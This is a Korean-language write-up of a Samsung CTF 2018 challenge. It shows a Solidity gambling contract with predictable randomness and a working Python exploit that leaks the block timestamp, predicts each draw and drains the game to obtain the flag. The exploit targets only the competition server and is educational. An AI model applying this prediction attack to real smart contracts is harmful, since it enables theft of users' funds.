Samsung CTF Quals 2018 - Millionaire (468 pts.)

Millionaire (468pts)

먼저 문제의 소스를 봐보자.

Gamble.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.4.18;

contract Gamble {
event Winner(address from, uint value);
event Looser(address from, uint human, uint bot);
event Jackpot(address from);
mapping (address => uint8) private winCounts;

address private owner;

//constructor
constructor() public{
owner = msg.sender;
}

function choice() private view returns(uint8) {
// random value
return uint8(uint(keccak256(block.timestamp))+uint(keccak256(blockhash(block.number-1)))) %10;
}

function play(uint8 human) payable public {
uint8 bot = choice();
if (human == bot){
winCounts[msg.sender] += 1;
msg.sender.transfer(msg.value*2);
emit Winner(msg.sender, msg.value*2);
}
else{
winCounts[msg.sender] = 0;
emit Looser(msg.sender, human, bot);
}
}

function getJackpot() public {
if (winCounts[msg.sender] > 10){
// send half of current Jackpot balance!
msg.sender.transfer(address(this).balance/2);
emit Jackpot(msg.sender);
}
}

function () payable public {}
}

그냥 보면 Solidity에서 timestampblockHash를 이용한 random은 예측 가능하다라는 점을 이용한 쉬운 문제다.

서버의 timestamptransaction이 일어날때 마다 1씩 증가하게 되어있었다.

공격은 event log를 이용해서 timestamp를 먼저 알아온 뒤, 예측한 값을 전부 맞춰 10000 ether를 넘겨서 Flag를 얻어오는 방식으로 했다.

문제를 풀고나서 알았지만.. 이렇게 python으로 timestamp만 얻어와서 전부 자동화 하지 않고 직접 random을 예측하고 공격까지 하는 contract를 올렸으면 더 깔끔했을 것 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
from Crypto.Util.number import *
from sha3 import *
from time import time
import json

def make_account():
r.sendlineafter('?', '1')
address = r.recvuntil(' created', drop=True).strip()
return address

def make_contract(address, code, name):
r.sendlineafter('?', '3')
r.sendlineafter('?', address)
r.sendline(code)
r.sendlineafter('?', name)
r.recvuntil('Created at ')
return r.recvline().strip()

def get_balance(address):
r.sendlineafter('?', '2')
r.sendlineafter('?', address)
r.recvuntil('Current Balance: ')
balance = int(r.recvline().split()[0])
return balance

def send_transaction(from_addr, to_addr, value, gas, data=''):
r.sendlineafter('?', '4')
r.sendlineafter('?', from_addr)
r.sendlineafter('?', to_addr)
r.sendlineafter('?', str(value))
r.sendlineafter('?', str(gas))
r.sendlineafter('?', data)

r.recvuntil("Here's receipt.")
data = r.recvuntil('1: Make', drop=True)
return get_json(data)

def get_choice(timestamp, blockHash):
timestamp = long_to_bytes(timestamp).rjust(32, '\x00')
blockHash = long_to_bytes(int(blockHash, 16)).rjust(32, '\x00')

a = bytes_to_long(keccak_256(timestamp).digest())
b = bytes_to_long(keccak_256(blockHash).digest())

result = ((a + b) & 0xff) % 10
return result

def get_json(data):
data = data.replace('\'', '"')
data = data.replace('HexBytes(', '')
data = data.replace(')','')
data = data.replace('None', '0')

return json.loads(data)

get_timestamp_code = '''contract Kimtruth {

event getTimestamp(uint256 value);

address private owner;

//constructor
constructor() public{
owner = msg.sender;
}

function () payable public {
emit getTimestamp(uint256(block.timestamp));
}
}

//END'''

chall_address = '0xF2E246BB76DF876Cef8b38ae84130F4F55De395b'

r = remote('millionaire.eatpwnnosleep.com', 12345)
# API Key
r.sendline('[PLEASE INSERT YOUR API KEY]')

my_address = make_account()
log.info('my_address : ' + my_address)

contract_addr = make_contract(my_address, get_timestamp_code, 'Kimtruth')
log.info('contract : ' + contract_addr)

json_data = send_transaction(my_address, contract_addr, 100000, 100000)
blockHash = json_data['blockHash']
timestamp = int(json_data['logs'][0]['data'], 16)
log.info('timestamp : ' + str(timestamp))
log.info('blockHash : ' + blockHash)

balance = 1000000000000000000
goal_balance = 100000000000000000000000

while balance <= goal_balance:
timestamp += 1
log.info('-------------------------')
log.info('blockHash : ' + blockHash)
log.info('timestamp : ' + hex(timestamp))

result = get_choice(timestamp, blockHash)

log.info('result : ' + hex(result)[2:])

data = '0x' + keccak_256('play(uint8)').hexdigest()[:8]
data += '%064x' % result
json_data = send_transaction(my_address, chall_address, balance - 1000000, 100000, data)

blockHash = json_data['blockHash']

balance = get_balance(my_address)
log.info('Balance : %d wei' % balance)
log.info('Remaining to target : %d wei' % (balance - goal_balance))

# GET FLAG
r.sendline('8')

print r.recvall()

Flag: SCTF{there_is_no_secret_in_blockchain}

Share